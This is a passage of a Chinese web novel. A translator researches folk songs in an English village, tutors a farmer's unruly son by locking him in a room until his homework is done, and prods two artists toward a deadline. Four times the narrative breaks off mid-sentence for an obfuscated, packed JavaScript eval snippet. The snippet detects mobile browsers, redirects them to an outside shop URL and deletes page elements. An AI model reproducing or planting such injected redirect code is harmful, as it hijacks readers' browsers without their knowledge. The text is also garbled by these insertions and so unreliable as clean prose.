陈方烨沉默了很久,最后还是打开了段黛的V博,一条一条地翻着。往下几条都是段黛最新译著的宣传,她自己发的帖子倒是寥寥无几。陈方烨努力向下滑着,想找到段黛还对自己死心塌地的那段时间她的生活记录。然而划到底却看到了仅半年可见的设置,再往前的东西已经看不到了。 他盯着那行字发了很久的呆,最后只有苦笑。 她在一点一点地隐藏着过去的段黛留下的痕迹。 从前那个懦弱而善良的段黛,终于也只能留存在记忆之中了。 段黛对于陈方烨在心里写的小作文毫无察觉。她整理了一下手里的笔记和资料,确定自己明天出门要做的任务。都完成了之后她洗了个澡,躺在床上编辑着备忘录。正在这时手机振动了一下,是黎尚轩发的消息:【租到房子了吗?】 段黛:【租到了。】 她狐疑地看了一眼国内的时间:【你那边早上六点?你起这么早?】 黎尚轩:【正好今天醒的早。我想着你应该还没睡,就顺便关心一下了。】 段黛不喜欢在忙的时候和别人聊天,但闲下来的时候还是很愿意稍微聊几句的。黎尚轩这个消息来的时候可谓是正正好,她便多说了几句。 黎尚轩:【这么说,房东是你认识的人了?】 段黛:【是啊,其实也就是点头之交,没想到他这么热情。】 黎尚轩:【那个画家……他结婚了吗?】 段黛:【好像没有吧?】 黎尚轩:【防人之心不可无,注意安全。】 段黛:【当然,我时刻保持着警惕。】 闲聊了一会儿,段黛想到了一件比较重要的事情。虽说装修那边有黎尚轩盯着,但少不得要和她这个户主交流沟通。先前只想着国外也能用V信问题不大,等到了之后才意识到还有七个小时的时差。 总不能老让黎尚轩凌晨起床给她发消息。 段黛思索了一番,对黎尚轩道:【之后如果需要联系我,可以在你那边下午四点之后,这样咱们都方便一些。】 黎尚轩:【OK。】 第二天早上,段黛套了一件灰蓝色的冲锋衣,背了一个包就下了楼。没多久文森特就开车过来了,副驾驶的车窗摇了下来,段黛看到了一个年轻的金发女孩:“Hello,东方姑娘!” 文森特介绍:“这是我助理,温蒂。” 助理坐副驾驶吗……段黛稍微有些察觉,但并没有说什么,只是点头微笑:“你好温蒂,我是段黛。” 她拉开了车后座的门坐了进去。温蒂从后视镜观察着段黛:“东方姑娘,你的衣服是……” 段黛低头看了一眼:“冲锋衣,非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579984|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常适合应对随时会下雨但又不方便打伞的伦敦。” 文森特和温蒂两人都穿着普通的长袖外套。文森特恍然大悟:“对啊,咱们也应该买几套冲锋衣以后采风的时候用。” 段黛笑了笑,从包里掏出来那本破破烂烂的《经录》,又看了一眼上面标画出来的内容。温蒂扭过头来,看到段黛手里那本饱经风霜的书之后颇为惊讶:“这是翻了多少遍才会变成这样啊……” 段黛提起书来抖了抖:“正好趁着路上这段时间复盘一下一会儿需要查的东西。” 温蒂:“……感觉你好……认真?” 相比较之下,文森特和温蒂更像是出去郊游,松弛感满满。 开车的文森特道:“感觉中国人都很勤奋刻苦的样子。” 段黛莞尔:“来都来了,当然要做好充分准备才行。” 温蒂靠在车后座上:“虽然我知道刻板印象不好,但是怎么说呢……感觉中国人,应该说是在我们这里上学的留学生吧,都像是那种乖宝宝。” 段黛“噗嗤”一声:“开party只知道吃,呆在家里就会睡觉和点外卖,是这种感觉吗?” “对对对,还有听到枪声以为是放烟花,哈哈哈……不少人都喜欢把房子租给中国留学生,感觉会省心很多。” 段黛:“嗯……在国内大部分大学生也都是这个状态,倒也不算刻板印象了。” 温蒂转头又去看文森特:“哎,出版社那边说什么时候交稿来着?” 文森特眨了眨眼睛:“……忘了。” 温蒂打开手机查了一下日历,发出小小的一声惊呼:“在下个月一号呢。” “这么快?”文森特有些意外,“我还没开始整理呢……” “按时交稿,不要给编辑添麻烦哦。”段黛在后排幽幽地冒出了一句,让前排两个人都哆嗦了一下。 从后视镜里,他们看到段黛正低头翻着手里的笔记本。其实那句话也只是她随口说的,但不知道为什么,文森特和温蒂都感觉到了一众无形的压迫感。 文森特干笑了两声:“说起来段黛是经常要和出版社打交道的吧?段黛会拖稿吗?” 段黛抬起头来,语气自然:“我一般是提前交稿的。有时候可能提前一天,有时候可能一个周甚至一个月。” “……” 沉默是今晚的康桥。 文森特冒出了冷汗,温蒂做出了战术后仰的姿态。 段黛对此浑然不觉:“怎么了吗?” 温蒂清了清嗓子:“那个,段小姐,你们中国人都是这么……这么高效吗?” “倒也不是,”段黛回忆了一下自己上学时候的事情,“我还在上学的时候,室友们都是不到死线不动弹的那种,我会定期提醒她们ddl,防止她们交不上作业。” 温蒂:“提醒室友交作业?” 段黛:“嗯,期末周的时候也会提醒她们复习。” 说着说着段黛反应了过来:“这只是因为我个人做事情比较急而已,和是不是中国人没有关系啦。” 37. 我怎么就人机了 温蒂松了口气:“段小姐一定是J人,我和文森特都是P人。” 段黛笑道:“是说MBTI吧?我确实是J人。” 温蒂:“段小姐的MBTI是什么?” 段黛微微一笑:“ISTJ。” “哦我的上帝,没想到是AI人格。” 段黛挠了挠头:“好多人都说ISTJ像机器人一样,不过我没觉得我像机器人啊……” 文森特也道:“是刻板印象吧。” 聊着聊着就到了目的地,文森特把车子停在湖边,打开后备箱,里面满满当当的全是画具。温蒂熟练的在草坪上支起一个支架,把手机夹了上去:“段小姐,我们一起拍个合照吧?” 段黛:“又是要发ins?” 温蒂点头:“没错!” 段黛:“那之后把照片分享给我,我发V博。” 她随便整理了一下自己的头发,站到了温蒂身边。文森特和温蒂站的很近,三人一起面对镜头,温蒂按了一下手里的蓝牙控制器,“咔嚓”一声,画面就这样定格了下来。 照片刚拍完就下雨了,温蒂和文森特伸出手来,抬头看着天空。 “虽然雨不是很大,但是会打湿画纸,让颜色晕开吧。”温蒂有些担忧。 文森特思索片刻:“没事,正好我有一个想要尝试的新方法。” 段黛把冲锋衣的帽子扣到了脑袋上,从口袋里摸出了纸和笔之后对他们摆了摆手:“那我就先走了。” 温蒂道:“那我们在车子这里等你——” 段黛没有回头,只是比了个OK的手势。 临安这边的时间已经是晚上了,段墨站在一张架好的画布前,将笔刷用力地按在调色盘的颜料上。鲜艳的颜色在画布上留下了物理意义上浓墨重彩的一笔,原本阴暗的画面突然就明亮了起来。 段墨长长地呼出一口气,凝视着自己的作品。 最开始他还是满意的,但看着看着就失去了兴趣。 他忽然感觉自己的作品总是那么的千篇一律,毫无亮点。但再看一眼旁边堆了一堆的画,他心中又生出一丝无力来。 白天的时候有人说想要买他的话做装饰,段墨咬了咬牙开价三百一张。谁知对方惊奇地瞪大了眼睛,盯着画看了一会儿,摆了摆手道:“三百?三十我还考虑考虑。我回去自己买个画框叫我闺女对着网上的图随便涂涂也这个效果。” 段墨很想骂他有眼无珠,却又明白普通人并不会觉得这样一幅作品和网上打印出来的东西有什么区别,挂在家里的效果都是一样的。他没有名气,他的作品自然也没有收藏价值。懂行的人看不到他,不懂行的人也不会盲目捧他。 什么是怀才不遇,这就是怀才不遇。 段墨叹了口气,把手洗干净之后在沙发上坐下了。他打开手机,无意间点开了V博,恰好看到了广场上的推荐。 他一眼就看到了照片上的段黛,然后发现旁边的人似乎有些眼熟,似乎是最近颇具盛名的画家文森特。段墨仔细一看,发现博主就叫段黛,点开主页还认证了翻译家,显然就是他的亲妹妹段黛的账号。 文案内容是“和文森特还有他美丽的助理小姐温蒂一起去乡下,他们写生我采风”,来源上显示了V博国际版。 竟然真的是文森特! 段墨记得自己曾经也买过文森特的作品集,憧憬着能够成为像他一样的艺术家。段黛怎么会认识他? 段墨“噌”的一下站了起来,从自己为数不多的几本书里找到了文森特的作品集。他本来是想对比一下照片的,但在他仔细看封面信息时,“译者/段黛”的字样突然就冲进了他的视野。 段墨愣了好久。 这本书在他手里也有一年多了,他翻阅了无数次,里面的书页都被他翻的有些毛边了。 可他时至今日才知道,这本书的译者是自己的亲妹妹。 那些外文的作品能变成中文在国内出版发行,少不了翻译这个步骤。可段墨从未在意过这一点,只关注过原作者的姓名和国籍,对于排在下面一行的译者毫无察觉。 若是能搭上文森特,段墨就能入了专业人士的眼,有了名气之后一切都好说……早知道段黛还有这样的人脉,他何至于像现在这样郁郁不得志? 可段墨又想到了现在段黛对他爱搭不理的模样,不由得苦笑。若是在一年前,段黛必定会同意他的请求,想方设法帮他和知名艺术家联系上。但现在的段黛对他相当不耐烦,原先的讨好和关心都不复存在了。 他还能指望段黛吗? 也不知是不是因为不愿意相信自己奢求的机遇居然掌握在最讨厌的妹妹的手中,段墨又去看文森特的ins。他抱有一丝幻想,或许他们根本不熟,只是段黛自己在单方面的硬蹭呢? 然而他注定是要失望了。文森特的ins发的非常频繁,最近几天连着好几条都有段黛的身影,就算照片没拍到,文案里也会提到她。 段墨愣愣地看着手机里的内容,自虐一般打开了他们的合照。 他最厌恶的段黛,和他最羡慕的艺术家站在一起。 现在,段黛在英国做着什么呢…… 段黛坐在台阶上,听着几个小孩一边玩着一种要在地上跳来跳去的游戏一边唱着童谣。段黛凝神听着,终于在听到后半段时找到了她想要的东西。 童谣里有一小段歌词,和《经录》里的一首民谣有些相似。其他的部分歌词不同,或许是因为时代变化而做出的改变。 小孩反复唱了好几遍童谣,段黛也把他们唱的版本记录到了手机里。 按理说现在应该上前和孩子们搭话,问他们童谣的来源了。但段黛并不觉得从孩子嘴里能打听到太多有用的东西。 她直起身来,看向一旁的农户人家。 孩子们的童谣其实也是大人们教的。比起问心智还在成长的孩子,倒不如找成年人问话。 “来吃饼干——” 一个农妇推开了门,对着外面喊了一嗓子。蹦跳的孩子们立刻冲了过去,一窝蜂的涌入门内。 段黛拍掉了屁股上粘着的杂草,跟在孩子们的后面,慢悠悠地向着农妇的房子那里走去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590045|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农妇看到段黛时有些诧异。因为她戴着帽子,所以农妇并没有注意到她的东方面孔,只当是什么流浪汉:“你需要一些吃的吗?” 段黛放下帽子,对她微微一笑:“我想打听一些事情。” 农妇半信半疑地和段黛交流了一会儿,倒是也解答一些简单的问题。但段黛想了解的童谣是否有其他版本这个问题比较麻烦,农妇并不想多浪费时间,便推说不清楚。 段黛却是眼睛一亮。 她一定清楚,不然就应该说没有,而不是这样含糊的说法。 并且从她的反应来看,应当是这个问题的答案比较复杂,而她懒得费时间,所以才会敷衍她。 段黛看了一眼屋子里的孩子们。那一群孩子当然不会全都是农妇家里的,只有其中一个是,其余的都是那个孩子的朋友而已。 她突然开口道:“我可以看你家孩子写作业。” 这句话没头没脑的,农妇先是愣了一下,随后有些匪夷所思:“你可以看多大的?” “小学,初中,高中,都可以。科目的话,我还挺擅长数学的。” 农妇忽然想到自己之前刷短视频看到的,中国人好像算数非常厉害。那个技术非常神秘,却不知道为什么没有推广至全国。 片刻后她点了点头:“好。” 一直到他们计划返程的时候,段黛才背着书包回到了车边。文森特和温蒂的头发都已经被雨水浸湿了,他们在一起收拾画具。段黛放下书包上前帮忙。她画纸上已经有完成度不错的画作了,但因为被雨水打湿了,所以色彩一圈一圈的荡漾开来,像是水的波纹。 段黛把画放回到车上:“你们是故意让画淋雨的吗?虽然颜色晕开了,但好像还挺好看的?有点别致?” 文森特把画架子收起来塞到后备箱里:“被你发现啦!果然段黛你也是有艺术天赋的人呢!” 段黛笑了笑,没再说话。她只是早上走的时候听到文森特提了一嘴,所以猜到可能他想要用雨水来做效果而已。艺术家的世界她还是不懂的,至于那些泼颜料的用脚踩的各种五花八门的作画方式,她就更看不明白了。 隔行如隔山啊。 所有东西都收好之后,三人迅速缩到了车上。文森特拿出毛巾来递给温蒂,温蒂接过来熟练地擦拭着头发上的水珠。她一边擦着一边问段黛:“段小姐要不要擦一下?” 段黛摘下了一直扣在脑袋上的帽子,虽然头发乱了点,但还是干燥蓬松的。 她道:“你们擦吧,我没淋湿多少。” 温蒂把毛巾递给文森特:“下次咱们也穿冲锋衣来。” “好好好……” 说来也怪,车子发动之后雨就慢慢停了,前排两人大呼上帝,怎么偏偏在他们收工之后才开始放晴。 吐槽过天气之后,温蒂转头问段黛:“一天没看到段小姐,不知道段小姐的进度怎么样?” 段黛微微一笑,嘴角上扬:“收获很大。” “……噢我的上帝,有收获就好。” 段黛笑道:“所以才需要实地考察嘛。” 38. 不完成作业就无法离开的房间^^…… 第二天段黛照例收拾好了东西,穿着那件冲锋衣提前在楼下等着了。文森特和温蒂都套上了冲锋衣,他们对段黛露出了很朴实的憨笑:“这衣服还挺暖和的。” 今天依旧下雨了,不过比昨天小很多,像是比较有存在感的雾气落在身上。文森特挽起了袖子,感慨着幸好换了衣服。 段黛一如既往的在下车后就进了村子,只待晚上走时再回来和他们汇合。 今天孩子们再没来玩了,似乎他们的安排是上午读书写作业,下午出门玩。段黛去了昨天的农妇家里,坐在小男孩的对面。 小男孩才读小学,学校也没有留多少家庭作业。不过小男孩并不喜欢写作业,在家总是磨蹭到最后一刻才写,甚至干脆就不写了,然后第二天被老师批评一顿。 “小学的作业少,不写影响也不大。但是这个习惯如果保留到后面读中学,那影响就比较大了。” 段黛的话给了农妇危机感,于是她同意了段黛的请求——段黛来纠正她儿子的习惯,她则给段黛提供一些需要的回答。 小男孩坐在桌子前,对着段黛拌着鬼脸。段黛翻开书,把笔递给他:“你先写,不会的可以问我。” 小男孩直接把笔一丢,大笑着要往门外跑。 段黛不紧不慢地坐在椅子上,根本没有要下去追的意思。小男孩跑到门边准备拉开门的时候,才发现门已经锁上了,根本拉不开。 段黛非常淡定:“完成作业了就能出去玩了。” 小男孩并没有因此就产生危机感。他回到位置上做好,拿起笔来,然后——在书上画了一堆便便。 段黛:“……” 原来国外的熊孩子也会在书上画便便。 能够戏弄到“家庭教师”,小男孩非常高兴,把笔一扔就在室内疯跑。 农妇隔着玻璃看着室内的情形,不由得有些担心。她的儿子她最清楚了,在耍无赖这里是一把好手。每次劝他写作业都要绞尽脑汁,连哄带骗的才能让他在书桌前坐下,写下一堆第二天注定要被批为错误的鬼画符。 现在她儿子果然闹起来了,但那个东方姑娘泰然自若地坐在那里,既没有训斥也没有跳起来抓人。她只是抱着手臂坐在那里,看着小男孩在屋子里上窜下跳。 她很想进来制止,但段黛事先对她说了:“除非我开门带他出来,否则你们不要进来干涉。” 她指了指窗玻璃:“你在那里能看到我,放心,我不会虐待儿童的。” 思及此,农妇只得按下自己的心思,看看这个东方姑娘到底有什么招数来对待自己的儿子。 小男孩在屋里跑了好久,突然停了下来,对段黛道:“我要尿尿。” 段黛指了指旁边的卫生间:“去吧。” 这是一间客房,房间内是带卫生间的,所以小男孩不能以“要上厕所”的借口离开这里。 小男孩上完厕所后,又试图去开房间门。当然门是打不开的,钥匙在段黛手上。他扭过头来盯着段黛:“我要出去。” 段黛:“作业写完了就能出去。” 小男孩发出了尖锐的爆鸣声,躺在地上撒泼打滚。然而段黛完全不为所动,依旧泰然自若地坐在那里,像是看表演一样看着小男孩的无理取闹。 半个小时过去,小男孩的嗓子哑了,也在地上滚累了。他慢慢坐了起来,似是不明白为什么对面的大人根本就不会因为他的这些举动而生气。 他又重复了一次:“我要出去玩。” 段黛也又重复了一遍:“写完作业了就能出去玩。” 小男孩不情不愿地坐到了椅子上,拿起笔来,在叠了一堆大便图案的练习册上写下一个个数字。几分钟后他把作业本往前一推:“我写完了!我要出去玩!” 段黛扫了一眼:“瞎写的不行,认真写完才能出去玩。” “你凭什么说我是瞎写的!”小男孩尖叫起来,“你根本就没认真看!” 段黛轻笑:“6×8=12?你骗谁呢?” 小男孩一脸不可思议:“你怎么知道我写的不对?” 段黛一本正经道:“你没听说过中国人都有算数神功吗?你写的这些算术题我一眼就能看出正确答案。如果你是认真写的,那应该至少有一半是正确的才对,而不是像现在这样,一个都不对。” 小男孩傻眼了,又开始耍无赖:“我不管!你只说写完了就能出去玩的!” 段黛无所谓道:“随便吧,反正我不给你开门你也出不去。算不算完成作业的决定权在我手上,你要是觉得尖叫一会儿能让你高兴一些,那就叫呗。” 小男孩震惊了。 小男孩无语了。 他看了一眼墙上的挂钟,等到下午一点的时候,他的朋友们就会找他玩,他们之前说好了今天要玩捉迷藏。现在是十一点半,只要熬到那个时候,段黛想不放他出去都不行。 想到这里,小男孩又轻松了不少。他脱掉鞋子把袜子扔到一边,转头在旁边的沙发上躺下了。他偷偷觑了段黛一眼,没想到她就是直勾勾地盯着他看,根本没有要把眼睛挪开的意思。 小男孩不由得打了个寒颤。 不知道为什么,总有一种被什么恐怖机器人盯上的感觉。 他闭上眼睛假装睡觉,以此来逃避段黛那有些诡异的眼神。没想到闭着闭着眼睛就真的睡过去了,他躺在沙发上,甚至打起了呼。 段黛无声地看着他,心道果然小孩还是睡着的好。 手机振动了一下,是黎尚轩问她瓷砖选择的事情。正好小孩睡着了,段黛便专心和他聊了起来。 挑完瓷砖后,黎尚轩问她:【资料收集还顺利吗?】 段黛:【找到眉目了。】 黎尚轩:【我刷到你的V博了,你是在小山村采集资料吗?】 段黛:【对,刚刚打听到了一首童谣的线索。】 她简单说了一下自己和农妇的交易,然后概括了一下上午小男孩的“出色”表现。 黎尚轩:【这才是正宗的发疯文学。】 黎尚轩:【我看着头都大了,他就是不写那怎么办啊?】 段黛:【我有办法。】 小男孩睁开眼睛的时候,脑子里像是糊了一团浆糊。他有些懵地坐了起来:“几点了?” 段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598515|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黛出声:“下午一点二十了。” “一点二十了?”小男孩霍然站了起来,向房间门冲过去:“我要去玩捉迷藏!” 他把门拽的彭彭响,但依旧打不开。他有些崩溃地扭过头来,语气中带了些哽咽:“放我出去!我都和他们约好了!” 段黛不紧不慢道:“噢,我跟你朋友说了,你作业没写完去不了,让他们先自己玩了。” 她两手一摊:“作业写好才能出去,你不是知道的嘛。” “……” 小男孩转过身来,看向段黛的眼神中带了些狠戾。他大叫一声,冲过来提起拳头就要打段黛。然而段黛以迅雷不及掩耳之势从口袋里掏出了随身携带的打孔钳,直接就往脸上招呼。小男孩不知道这是什么阵仗被吓了一跳,硬是后退了几步,摔倒在地上。 段黛收好打孔钳,慢慢悠悠道:“作业写完了才能开门。你的朋友们都在外面玩呢,你看,他们玩的多高兴啊?” 说着她打开了另一扇窗户,从这里小男孩能清楚地看到他的朋友们是怎么在外面跑的。 段黛抱着手臂,声情并茂:“他们看起来好高兴啊!” 此情此景让小男孩彻底破防:“我要出去玩!放我出去玩……” 段黛机械重复:“写完作业了就能出去玩。” 小男孩瞪着她:“我就不写!我还不信到了晚上你还不走!” 段黛微笑:“你写完了我就走,没写完我就一直在这里陪你。没事,我可以在这过夜的,明天看着你继续写。” 小男孩大概没想到居然有比自己还能豁的出去的人。他想象了一下晚上自己还要和这个黑头发的诡异女人呆在一个房间,顿时觉得毛骨悚然。 偏偏段黛又不嫌事大一般道:“其实也没什么的,我可以以后一直呆在这里,咱们俩就在这相依为命吧。” 不只是今晚,往后余生都要和这个恐怖的女人呆在一起。 小男孩嚎啕大哭。 段黛看着他哭了一会儿,等哭声小了才开口道:“写作业吗?” 他一边抹着眼泪一边点了点头。 这次小男孩老老实实地回到位置上,扒拉手指头努力算数了。 写了几道题之后他觉得麻烦又想放弃,可一抬头又对上了段黛眉眼弯弯的表情。 “……” 他选择低头继续写。 一个小时之后,小男孩忐忑地把作业推给了段黛:“我写完了,这次是认真写的。” 段黛眯着眼睛扫了一眼,拿着铅笔在有错的题目上做了标注。这次倒是认真做了,虽然也有错,但没有那么多了。 段黛点了点头,把本子放了下来。 “好了,你可以出去了。” 她打开了门锁,小男孩立刻飞奔出去。农妇为他的朋友们烤了蛋糕,小男孩出去时恰好和他们一起吃东西。 农妇拿了一个纸杯蛋糕递给段黛:“真是辛苦了。” 段黛笑了笑:“没事,这是我们提前说好的。” 她咬了一口蛋糕,烘焙的香气涌入鼻腔。 真好,这次的英国食物味道很正常。 39. 来自东方的神秘童谣 段黛第二次来看小男孩写作业的时候,他再没闹什么脾气,乖乖趴在桌子上写作业。虽然写几道题就会发一会儿呆喝个水上个厕所,但总归还是会回来写的。 第三次来的时候,小男孩连喝水上厕所的次数都少了,趴在桌子上聚精会神地扒拉手指头。 第四次来的时候,小男孩可以在半个小时内就把作业完成,然后跑出去玩了。 农妇目瞪口呆。 他们夫妇二人努力了好几年都没完成的事情,段黛居然只用了四天就解决了。 段黛淡定道:“规定时间容易让人磨洋工,但是规定任务就不一样了。只要想着任务完成了就能去做自己想做的事情,效率当然就变高了。” 和黎尚轩聊起来时,他也表示震惊:【没想到你还挺……挺擅长应付熊孩子的?】 段黛坦然:【因为我并不喜欢这个小孩,他磕了碰了我也不心疼,所以我会放任他作死。但他的父母未必能接受自己的孩子一直大哭,很容易心软,所以反而管教不好。】 黎尚轩:【心不狠,地位不稳?】 段黛:【路还长,别猖狂?】 黎尚轩:【……别,别喊麦。】 黎尚轩:【那……当地人也给你提供资料了?】 段黛:【当然。】 当然段黛也从农妇这里了解到了不少东西。那首童谣随着历史变迁变换了二十多个版本,段黛全都记录了下来。此外段黛也根据他们日常的对话推断出了一些当地的习语,算是解答了《经录》中某些遣词造句的疑惑。 第五次来的时候,段黛开始教小男孩真东西了——九九乘法表。 中文的九九乘法表琅琅上口,但翻译成外文变成长长一串,因此并没有被广泛应用。段黛也不打算费心思用英文编什么更好念的句子,直接省略了“得”这个字的翻译,纯念数字:“1,1,1。1,2,2。……9,9,81。” 段黛录了音,闲着没事就在这里循环播放,像是魔咒一般。小男孩跟着念了两天,渐渐的就被英语版的九九乘法表洗脑了,甚至在和朋友玩的时候都会忍不住随口念出来。 半个月之后,整个村子的小孩都学会了这首新的“童谣”。他们做算术作业变得更快了,十分钟不到就可以解决完所有内容。 把小男孩的习惯纠正过来后,段黛就没再去农妇家看他写作业了,最多偶尔去走一走,给小男孩强化一下那个“不写完作业就走不了”的印象。 段黛和村里人渐渐熟了起来,她有时会帮忙拿快递,有时会教一些喜欢中餐的家庭怎样做最简单的中餐。偶尔有人想要伦敦街区的某些东西但懒得开车出去,段黛也很乐意帮忙跑腿。 而相应的,当地人也会告诉她这里口口相传的传说,以及一些只有本地人交流才会用的俚语。 段黛白天在布莱德村到处走动,晚上回来就整理新的手记。原主留下的文字变得愈发鲜活,上面叠加了段黛新作的批注。 两种颜色两种笔记在纸上展开,好像两个不同的灵魂在隔空交流。 晦涩难懂的《经录》,在日复一日的调查下,逐渐将百年前的风土人情展现在她的面前。 看着桌上铺开的地图和无数的手绘草稿,段黛轻轻呼出一口气。 当原主壮志满怀,带着《经录》回到国内时,是不是也是这样的心情呢? 文森特的采风持续了一个月,段黛也趁着这段时间把布莱德村从里到外整个调查了一遍。等到文森特把作品完成的差不多了,准备不再来这里时,村民们居然给段黛塞了各种各样的礼物,从甜品到手工艺品应有尽有,并祝福这个美丽的东方姑娘能够平安快乐。 文森特和温蒂大跌眼镜:“你这段时间都做了什么?” 段黛淡定道:“这都是为了搜集资料而做的必要的准备。” 上车后温蒂道:“不知道为什么这的小孩都开始念那种数字一样的咒语,什么8,9,72之类的……” 段黛:“噢,那是九九乘法表。” 温蒂回头,一脸震惊:“你教的?” 段黛:“我问了他们的童谣,反手再教他们另一种童谣。” 文森特哭笑不得:“好一个等价交换。” 段黛坐在车后座上,一边整理手记和资料,一边随口问道:“文森特的截稿日也快到了吧,咱们刚来的时候我记得温蒂提过的。怎么样,都准备好了吗?” “……” “哈哈。” 文森特尴尬地笑了两声。 段黛从笔记中抬起头来,语气平淡:“还没准备好吗?我记得你们的截稿日好像就在一个周之后了吧。” 温蒂从后视镜里看段黛,只见她的镜片因为反光而白成一片。 无论是她还是文森特都不敢说话。 段黛拖长嗓音“哦”了一声:“不会是还差很多吧?” “……” 文森特对温蒂道:“我觉得我做不完了……要不下个周咱们去夏威夷吧……” “能做完的,别放弃,”段黛打断了他们的跑路计划,“为了感谢这些日子你们对我的照顾,我一定会帮你们赶上ddl的。” 温蒂没来由地哆嗦了一下。为什么感觉压迫感这么强? 忽然段黛放松了语气:“你们想吃中餐吗?难得我们都采风结束了,今晚要不要庆祝一下?” 听到中餐,前排两个本来还有些拘束的人立刻放松了下来:“要吃!” 车子开到了文森特的画室,三人一起上了楼。段黛打开室内楼梯间的门锁,先上去放包换衣服。温蒂虽然知道文森特是把画室的阁楼租出去了,但这些日子一直在外面写生,所以并不知道本来锁上的楼梯间打开了。 看着段黛换好衣服从楼梯上下来,温蒂看了一眼文森特,有些意味深长:“没想到你把这个锁打开了,这下上下走动也更方便了。” 文森特浑然不觉:“画室里有厨房,我想着段黛是认识的人,而且中国人好像很喜欢自己做饭,所以就把钥匙交给她了……” 段黛面上没有什么表情:“确实更方便了,可以随时监督你们赶稿子。” 温蒂:“……啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607319|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是,是这种方便吗? 考虑到英国某些蔬菜会有奇怪的味道,段黛没有做特别复杂的东西。文森特和温蒂站在她的身边,试图给她帮忙。段黛使唤人倒也不含糊:“你,去把西红柿切成小块。你,打三个鸡蛋到碗里。” 段黛多线程操作,这边炖着红烧肉,那边就炒上了西红柿炒蛋。她可以开了火之后先给肉焯水,在等水开的功夫再把香料找齐。整个厨房充满了油烟的香味儿,段黛熟练的动作让两人目瞪口呆。 文森特在中国呆过一段时间,也是见过中国人做饭的。不过大部分人都是一道菜接一道菜的做,速度再快也是要花不少时间的。 哪想到还有段黛这样把每一个要“等”的时间都利用起来,一下子炒好几个菜的? 所有菜都上桌时,温蒂还感觉自己的脑子没转过来:“不是,我记得一开始不是还切这个切那个的吗……怎么突然就四个菜都做好了?” 段黛并未感到有什么奇怪的地方:“提前计划好了就行,充分利用好所有的空隙,可以把时间压缩到很短。” 段黛煮了三碗热汤面,在这个阴雨绵绵的天气里吃了后全身都暖和。照例先拍照发ins后,三人拿起餐具正式开动。 文森特和段黛用的是一种像是夹子一样的餐具,似乎这是为了不太会用筷子的西方人专门设计出来的更好操作的“筷子”。他们吃了红烧肉又吃了番茄炒蛋,夹起一筷子面条来吹着热气,最后毫不吝啬地用各种赞美的词语称赞这顿食物。 段黛微笑地看着他们:“你们喜欢吃就好。” 文森特和温蒂狼吞虎咽着,偶尔抬头,看到段黛始终保持着那个微笑,忽然就有些毛骨悚然。 为什么觉得这顿饭……不太对劲? 等到两人碗里的面条见底了,段黛终于开了口:“你们的稿件,进度还差多少?” “……” 拿人家的手短,吃人家的嘴软。段黛深谙此理。 面前是美食,对面是段黛关切的表情,两人吞吞吐吐,还是说了个大概。 ——一点没做。 段黛眨了眨眼睛:“啊?” 温蒂支支吾吾:“其实作品集不麻烦,因为只是把以前的作品整理起来,主要是需要补充一下相关的创作背景……” 段黛点头:“我懂了,编辑加工的工作更多,是吧?” “嗯嗯,对。” 段黛颔首:“那么一个周赶完应该是没问题的。只要把工作效率提高,把总的任务量平均分配一下,那么赶上截止日期也不算难事。” 文森特心下一动:“能赶上?” 段黛点了点头,一脸肯定:“当然能。” “好!”文森特直起腰来,“明天我就开始认真干活!” 温蒂也道:“明天我早早叫你,咱们一起努力!” 然后第二天,他们直到中午才来画室。 两人蹑手蹑脚地走了进来,刚关上门,就听到楼梯间传来一阵脚步声。 段黛推开门,似笑非笑地看着他们:“哟,还记得来呢?” 40. 卷王的风吹到了伦敦 黎尚轩:【卫生间的防水层已经测试好啦,很快就可以开始铺瓷砖了。】 黎尚轩:【图片.jpg】 段黛:【辛苦了!】 黎尚轩:【进度比我想象的要快。我争取在你回来的时候把硬装完成!】 段黛:【不用太急,顺其自然就好,别给自己太大压力。】 黎尚轩:【采风结束了,现在你是在进行翻译?】 段黛:【对,上午我刚去了一趟图书馆,借了几本参考书来。】 